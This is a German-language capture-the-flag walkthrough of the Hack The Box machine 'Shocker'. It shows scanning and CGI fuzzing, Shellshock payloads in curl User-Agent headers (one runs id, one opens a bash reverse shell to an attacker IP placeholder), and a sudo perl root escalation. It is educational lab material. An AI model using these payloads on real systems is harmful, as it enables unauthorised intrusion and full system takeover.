
Strukturierter HTB-Walkthrough, der die Ausnutzung von Shellshock (CVE-2014-6271) durch CGI-Verzeichnis-Fuzzing und die Privilegienerweiterung über falsch konfigurierte sudo-Perl-Berechtigungen mithilfe von GTFOBins demonstriert.
Eine strukturierte und professionelle Anleitung, die die Identifizierung und manuelle Ausnutzung der kritischen Shellshock-Sicherheitslücke zeigt, gefolgt von lokaler Privilegienerweiterung über falsch konfigurierte sudo-Rechte auf einem Linux-Zielsystem.
10.10.10.56/usr/bin/perl)Die Untersuchung beginnt mit einem schnellen TCP-SYN-Scan über alle Ports, der nur offene Ports anvisiert (--open), während die Host-Erkennung (-Pn) und DNS-Auflösung (-n) übersprungen werden, um das Footprinting zu beschleunigen.
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
Der erste Sweep zeigt zwei aktive Dienste. Wir führen einen zweiten gezielten Scan durch, um eine aggressive Versionserkennung (-sCV) und eine scriptbasierte Schwachstellenbewertung durchzuführen:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
Parallel zu unseren Schwachstellenscans starten wir Brute-Force-Angriffe auf Web-Verzeichnisse mit gobuster, um versteckte Ressourcen auf dem Apache-Server zu kartieren. Wir verwenden dabei eine Standard-Wortliste aus dem SecLists-Framework:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
Der Fuzzing-Prozess identifiziert ein nicht indiziertes /cgi-bin/-Verzeichnis. In Legacy-Web-Bereitstellungen nutzen Apache-Server die Common Gateway Interface (CGI), um serverseitige Skripte auszuführen. Angesichts des Maschinennamens und des Vorhandenseins dieses Ordners suchen wir intensiv nach ausführbaren Skripten (z. B. .sh, .cgi), die anfällig für Injektionsfehler bei Umgebungsvariablen sein könnten.
Weitere Enumeration zeigt ein Skript namens user.sh, das sich im Verzeichnis /cgi-bin/ befindet.
Die Shellshock (CVE-2014-6271)-Sicherheitslücke erlaubt es Angreifern, beliebige Betriebssystembefehle auszuführen, indem bösartige Funktionsdefinitionen in HTTP-Request-Header (wie User-Agent) injiziert werden, die von verwundbaren Bash-Instanzen verarbeitet werden.
Wir erstellen einen angepassten curl-Befehl, um einen Proof-of-Concept-Payload (PoC) zu senden, der das entfernte System zwingen soll, den Befehl /usr/bin/id auszuführen:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id-Befehls, was eine nicht authentifizierte Remote-Code-Ausführung (RCE) bestätigt, die wie eine authentifizierte wirkt.Um unseren Ausführungsvektor in eine interaktive Sitzung zu überführen, richten wir einen lokalen Netcat-Listener auf unserer Angriffsplattform ein:
nc -lvnp 4444
Als Nächstes injizieren wir einen nativen Bash-Reverse-Shell-String in den bösartigen User-Agent-Header, um einen Callback über TCP zu erzwingen:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
Nach erfolgreicher Ausführung erhalten wir eine stabile Shell mit niedrigen Privilegien:
$ whoami
shelly
Mit einem funktionsfähigen Benutzerkontext auf dem System prüfen wir unsere lokalen Einschränkungen. Wir fragen die sudo-Konfiguration ab, um festzustellen, ob der Benutzer shelly berechtigt ist, Befehle mit erhöhten Rechten ohne Eingabe eines Passworts auszuführen:
sudo -l
Die Ausgabe zeigt den folgenden risikoreichen Eintrag:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
Da wir uneingeschränkten, nicht authentifizierten Zugriff haben, um die perl-Binärdatei als root auszuführen, können wir leicht aus den Einschränkungen der Binärdatei ausbrechen. Durch Abgleich mit GTFOBins finden wir einen Ausführungswrapper, der Perl anweist, in eine native System-Shell (/bin/sh) zu wechseln, wobei der Ausführungskontext (root) beibehalten wird:
sudo -u root perl -e 'exec "/bin/sh"'
Wir erlangen sofort vollen administrativen Ausführungskontext:
# whoami
root
Nachdem der Root-Zugriff hergestellt ist, navigieren wir zu den relevanten Home-Verzeichnissen, um die Kompromittierungsnachweise abzurufen.
# Access User Flag
cat /home/shelly/user.txt
# Access Root Flag
cat /root/root.txt
perl, python oder bash über sudo auszuführen, entstehen sofortige Eskalationsvektoren. Der Sudo-Zugriff sollte auf nicht-interaktive, streng kontrollierte administrative Skripte beschränkt sein.